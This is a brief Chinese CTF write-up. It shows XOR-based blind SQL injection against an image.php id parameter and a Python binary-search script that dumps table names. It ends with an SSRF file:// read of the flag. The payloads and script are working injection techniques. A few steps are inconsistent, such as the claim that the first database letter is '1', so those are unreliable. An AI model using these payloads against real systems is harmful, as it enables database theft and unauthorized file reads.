异或注入或盲注及ssrf读取漏洞

异或注入或盲注及ssrf读取漏洞

通过信息收集,发现有username和password,但是尝试过都不能注入,然后再打开index.html文件,发现有一个

1
http://url/image.php?id=3

推测此为注入点,然后使用异或注入

1
/image.php?id=1^(ascii(substr((select(database())),1,1))>1)^1

发现有回显,然后更换参数,直到

1
/image.php?id=1^(ascii(substr((select(database())),1,1))>99)^1

没有产生回显,可知数据库第一个字母为1

以此类推,按原理写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
url = "http://url/image.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{0},1))>{1})^1"
word=""
for i in range(1,1000):
l = 32
h = 128
mid = (l + h)
while (l < h):
nurl=url.format(i,mid)
r=requests.get(url=nurl)
if 'JFIF' in r.text:
l = mid + 1
else:
h = mid
mid = (l + h) // 2
time.sleep(0.1)
word += chr(mid)
print(word)
print(word)

得到表名为users

通过修改url的值继续爆破,得到密码值

而后登录账号,发现是ssrf读取文件漏洞,尝试构造

1
file:// /flag

得到flag